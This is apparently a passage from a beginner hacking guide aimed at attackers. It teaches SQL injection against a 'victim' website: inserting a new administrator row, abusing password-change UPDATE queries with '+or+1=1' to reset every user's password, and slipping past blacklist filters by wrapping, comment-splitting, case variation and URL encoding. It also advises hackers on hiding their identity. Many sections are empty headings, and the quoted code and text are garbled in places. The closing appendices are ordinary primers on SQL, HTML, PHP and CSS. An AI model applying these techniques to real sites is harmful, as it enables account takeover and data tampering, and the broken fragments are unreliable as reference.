5.1 The concept So what are you going to learn in this chapter? The most fun part! You have tested security and extracted information, but if you are ready for some action, then this chapter is just what you need. We are going to insert ourselves into administrator tables, inject our content into the website and more!

5.2 Gaining admin access In chapter 1, you learned the most basic way of granting yourself administrator access. I then promised that you would learn the more advanced stuff later and here we are. I will teach you how to do this on the three most common Database Servers: MySQL, Microsoft SQL Server and Oracle.

5.3 Adding a row I will now teach you how to insert a row, perhaps with a new administrator into the admins table, so read carefully. We have used the techniques described in chapter 2 to find out that the database contains a table called users in which there are four columns; id, user, pass and
admin. The victim, as always, is . The id column contains a number for identification. The number is one higher for each row in the database and not interesting. The user and pass are obvious, while admin contains 0 if the user is not admin and 1 if he is. If you do not know how to find out these things, go back to chapter 4. Now our goal is to insert a new row into the users table containing our username of choice, password of choice and 1 in the admin column, making us administrators. We are going to use this piece of SQL: INSERT INTO users (user, pass, admin) VALUES (Haxor, mypass, 1) There is one problem though; how are we going to add this to the query? In Microsoft SQL Server and certain versions of Oracle, the answer would be stacked queries, but this is not possible in MySQL unless the owner has enabled it which isnt very likely. More on stacked queries in section 5.7

5.3 Using UPDATE UPDATE is an SQL command. What it does, is to change the value of one or more columns. The syntax is like this: UPDATE users SET password = newpassword WHERE username = john This would make the password of the user John be newpassword. You can also leave the WHERE clause out, but that would make the password of every single user newpassword. In most cases, this is not what we want, so be careful to add a WHERE clause. To perform an update query on a website, you must either find a page that does actually update something, such as a user control panel where you can change your password. When you

find one you can change the WHERE clause by adding +or+1=1 for example. Otherwise, you can use stacked queries which is described in the next section.

5.4 Using stacked queries

5.5 Defacing with INTO UPFILE

5.6 Deleting data

5.7 Exploiting UPDATE pages Many websites give the user power over one or more UPDATE query in their application. This might be trough a change password function or through profile customization where you can choose your gender, email and more. These can be exploited quite easily. Lets do a basic example, similar to the one in chapter two. We have a function in a website, where you can change your password. By exploiting this function, we will change the password of any user we want, or of every user, if we prefer that. Lets take a look at the form:

As you see, there is a textbox accepting a new password and a button that submits the whole thing. Now, lets take a look at the query that will happen when you click this button.


6.1 What are input filters?

An input filter is a process that removes all dangerous input before the input is used. A perfect input filter removes everything that might cause trouble or that might give hackers an opportunity to break into the system. Those are rare however, most websites have an input filter, but one that can be outsmarted with some creativity. Some websites doesnt have input filters at all. In this chapter, I will go through the most common input filters and how to outsmart them. Here is a model that explains input filters:

Gather input

Input filter: Remove dangerous content from input

Database: Use the input that has gone trough the filter.

6.2 Blacklist filter

A blacklist filter is a filter that removes all instances of certain words. Filters are written in PHP which you can learn more about in chapter 9. Here is source code for an example blacklist filter: blacklist =
array(OR, AND, UNION, SELECT, );

input = $_GET(id);
input.strstring(blacklist); This code removes all instances of the words OR, AND, UNION and SELECT as well as the symbol . This kind of filter can be bypassed quite easily. To make a word such as UNION go through the filter, we can use so-called wrapping: UNUNIONION See what I did there? I put one UNION inside another. The filter will remove the UNION in the middle and the wrapped UNION will be left effective. Another way to do it is to add comments (see chapter 9 to learn about comments) which will make the word seem different to the filter, but which will make no change to the query: UN/**/ION The word is no longer UNION, so the input filter wont find it. However, the comment has no effect on the query, so the result would be the same. If this should fail as well, you can try case variation: UnIoN sElEcT Because the case is different, the filter wont find it. As you know, this wont affect the query because in SQL, case doesnt matter. When symbols such as the single quote () or the plus sign (+) is filtered out, we can use some other methods. Primarily, there is URL encoding. Change it to the corresponding encoded version: Symbol + Encoded %2B

6.3 Length-based filter

Some filters use only a certain amount of the digits or characters entered. For example, a page might only use the first two digits.

6.4 Whitelist filter

6.5 Whitespace removal filter

6.7 Case-based filter


7.1 Disclaimer

This section is here only to provide information on how to hide your identity online. Hiding your identity on the internet is in no context illegal or immoral. As a hacker, you will most likely prefer to keep your real identity secret, simply because hackers are normally associated with criminals. Having a hidden identity does not remove the law however. Remember that official instances usually can trace you no matter how you hide yourself on the internet.

7.2 IP addresses IP stands for Internet Protocol and it is a series of numbers which is unique to each individual computer and/or network. An IP address is used just like physical addresses. They tell websites where to send the requested HTML page and so on. IP is also the main form of identification on the internet. When a website decides to ban someone, they might ban their IPs to be sure the person will not create a new account. An IP address reveals some info about where the computer is stationed. More precisely it gives information about where their Internet Provider hosts their connection, but this usually means that one can find out which city you reside in. With an IP address and sufficient permissions, you might find out exactly who the owner is, his name, address and more. Hackers therefore tend to want to hide their IP address. This is done by getting a new one, one that does not give any true info about you. This can be done either through a proxy or through a VPN (Virtual Private Network).

7.3 Proxies

7.4 VPNs / Virtual Private Networks


9.1 SQL

SQL stands for Structured Query Language and it is used to make changes, or perform queries from a database. I am about to teach you the basics. To gather the value of specific columns from a specific table, use: SELECT column1,column2 FROM table1 If you want to gather the data from every single column, replace the columns with an asterix: SELECT * FROM table1 Both of these will return every row in the table, if you want to only gather data from one specific row, use: SELECT * FROM table1 WHERE column1 = x This will only find data from rows where the value of column1 is x. Its good practice to have a column called id in every table. Id should simply be a number, starting at 1 then going higher for each row. That way you can find whatever row you want with SELECT * FROM table1 WHERE id = 1 If you want to insert a new row into a table, you do it like this: INSERT INTO table1 VALUES (valueToColumn1, ValueToColumn2, ValueToColumn3) Or if you want to leave say, column1 to be the default value and only enter values into column2 and column3, use: INSERT INTO table1 (column2, column3) VALUES (ValueToColumn2, ValueToColumn3) To delete a row from the database, use: DELETE * FROM table1 WHERE id = x Leave out the second line to delete all data from the table. To delete a table in entirety, use: DROP TABLE table1

And to delete a database, use: DROP DATABASE database1 To create a database, use: CREATE DATABASE database1 To create a table, use: CREATE TABLE table1 (column1 datatype1, column2 datatype2) To change how a table is, use: ALTER table1 To change the content of a column, use: UPDATE table1 SET column1 = newValue WHERE id = x

9.2 HTML HTML is the most essential language of the internet. Practically speaking, all websites are written primarily in HTML. HTML stands for Hyper Text Markup Language. An HTML document consists of two kinds of objects; text and tags. A tag is anything between a < and a > while text is everything else. The text is displayed as text, while the tags affect how the text is displayed. For example, there is a tag <b> which stands for bold. Now, a sample HTML document might look like this: This is some text <b>this is some bold text</b> This would translate into: This is some text this is some text As you may have noticed, the <b> tag were written two times, at the beginning and at the end, but at the end, a / was put before it. That is because most tags in HTML come in pairs.; an opening tag and a closing tag. The closing tag is equal to the opening tag, except there is a / before the tag name. All good HTML documents should look like this:


<head> Some settings you dont need to worry about </head> <body> The webpage content is here <b>and this is bold</b> </body> </html> The entire document should be inside an <html> tag. The content of the website should be inside <body> tags which again are inside the <html> tags. There should also be a <head> tag which should wrap settings about the document. Before we proceed, you should know that there are some tags which come alone, without any closing tags. These tags look like this: <tagname/> Another thing to know about is attributes. Every tag has attributes that can be set. An attribute is a setting that applies for the content of that tag. For example, you might give a title to a specific element, so that it can be recognized easier by other languages, using the Title attribute. <tagname title=ThisIsTheTitle>Content</tagname> Here is a list of the most important settings that can be put in the <head> section: Tag <title>Title of document</title> <style>CSS style goes here</title> <link rel=StyleSheet type=text/css href=style.css/> <script type=text/javascript>Javascript code</script> <script type=text/javascript href=javascriptdocument.js></script> Meaning The title which will be displayed on top of the browser. A style written in CSS which will be described later. A style in CSS that is stored in another file. For creating functions and more in Javascript that will apply to the document. Importing a Javascript file that is stored elsewhere.

And the most important tag that should be placed in the <body> section:

Tag <p>Content</p> <div>content</div> <span>content</span> <table><tr><td>TableData1</td> <td>TableData2</td></tr><tr> <td>TableData1</td><td>TableData2 </td></tr></table> <ul><li>List item 1</li><li>List item 2</li> </ul> <ol><li>List item 1</li><li>List item 2</li> </ol> <img src=image.png/> <a href=otherpage.html>Click!</a>

Function Paragraph. Put all stand-alone text in this so you can easily change its appearance in CSS. A group of elements. Can also be used as a box or container. Stands for division. Same as <div> but for a piece of text. A table with two rows, each containing two columns. Tables are great for layout as well as for displaying SQL resources. An unordered list. An ordered list, with for example 1. 2. Etc. as numbering. An image A hyperlink

9.3 PHP PHP stands for Pre-Processed Hypertext. It should really have been called PPH, but PHP seemed a better name. PHP is used to perform things on the server side that is invisible to the user, or to do things with results from the database. To implement PHP into an HTML document, do like this: <html> <head> <title>My Sample Website</title> </head> <body> <b>Some bold text</b> <?php Php code here ?> </body> </html>

<?php opens PHP and ?> closes it. Unlike HTML, PHP is built up of statements. A statement is a command to the website on what to do. Every statement must end with a semicolon (;). Here is a list of important PHP statements: Statement Echo text; $a = 5; / $b = test Effect Prints some text to the HTML document Makes the value of the variable $a become 5 / The variable called $b become test. All PHP variables should start with $. Perform a query to a MySQL database. Connects to a MySQL Server Select a database

Mysql_query(SELECT * FROM table1); MySQL_Connect($server, $user, $pass); MySQL_Select_Db(database1);

9.4 CSS CSS stands for Cascading Style Sheets and is the language used to design how elements in an HTML document looks. Here is a basic CSS document: Body { Background-color:black; } P { Color:white; } This makes the background color of the body (the entire webpage) black and all paragraphs white. Now we can make an HTML element have a style or a class like this:

<html> <body> <p id=firstparagraph>Test</p> <p class=secondparagraph>Test2</p> </body> </html> To apply a style to all elements with a certain id, add use #idname. For a class, use .classname. #firstparagraph { Color:gray; } .secondparagraph { Color:yellow; } So thats CSS. Here is a list of important properties: Property Color:black; Background-color:black; Margin-left:50px; Border:2px solid black Background-image:url(imagepath); Effect Makes the color of the text black Makes the background color black Makes the element positioned 50 pixels from the left. Makes the element have a 2px wide, solid black border. Sets a background-image for the element

9.5 Javascript Javascript is a language used to add interactivity to websites. It looks like this: Document.write(<b>This bold text is added by Javascript); = black; What these two lines do is to add This bold text is added by Javascript to the document, and change the webpage background color to black. Like in PHP, a statement must end with a semicolon.

9.6 Comments A comment is a piece of text in a script that is not executed. It is used to add notices and instructions, but can also be used by hackers to disable code. Here are comments on various database servers: Server MySQL Comment -- comment # comment /* Comment */

Microsoft SQL Server

9.7 MySQL Here is a list of tables on the information_schema table: Table name Schemata Info Info about databases Important Columns Catalog_name, Schema_name, Default_Characterset_name, Default_Collation_Name, SQL_Path Table_Catalog, Table_name, Table_Type

Tables Columns

Info about tables Info about columns on other tables

9.8 Oracle

9.9 Microsoft SQL Server

9.10 Logical operators

9.11 Errors

9.12 Data types Data types are various formats in which data can be stored. Here are the most important: Datatype Explanation Integer A whole number String A piece of text And some SQL datatypes that are more precise Datatype Integer String Explanation A whole number A piece of text

1.13 Tools & Tutorials